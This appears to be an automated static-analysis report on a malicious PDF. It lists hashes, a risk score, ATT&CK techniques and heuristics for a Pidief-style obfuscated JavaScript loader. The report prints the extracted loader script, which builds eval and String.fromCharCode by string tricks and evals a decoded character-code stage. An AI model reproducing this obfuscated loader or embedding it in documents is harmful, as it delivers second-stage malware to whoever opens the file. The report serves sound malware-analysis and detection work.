Malicious PDF — malware analysis report

Static analysis result for SHA-256 100621e6b315c35a…

MALICIOUS

PDF

44.4 KB First seen: 2026-05-09
MD5: a1cef761d7028f78df3eac9b050b9ac3 SHA-1: 59a36606254dc4e9861b6a533399258c64760d31 SHA-256: 100621e6b315c35a1608b09d8bceaae7b4d2e897e8f9bffb0c9a01cd7c780793
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs a string, likely a URL or command, which is then used to download and execute a second-stage payload. The ML classifier strongly indicates maliciousness. The specific payload and delivery mechanism are not fully discernible from the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF06 456 bytes
SHA-256: ab545b45b56dd45f1a970de8e2d1974d643fcc7188ea75ccf745f40dd608e93a
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
zpfja='';
ldw=('qwrwqr','tit');
e('anxig=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
wdfhi=e('String.fr'+anxig.substr(0,10));
dlurd = e(anxig.substr(10)['replace'](/u/g,','));
e('k=dlurd.length');
for (i = 0; i < k; i+=2) {
	zxrdy = dlurd[i+1] + ('qweqwe',dlurd[i]);
	zpfja += wdfhi(zxrdy);
}
e(zpfja);

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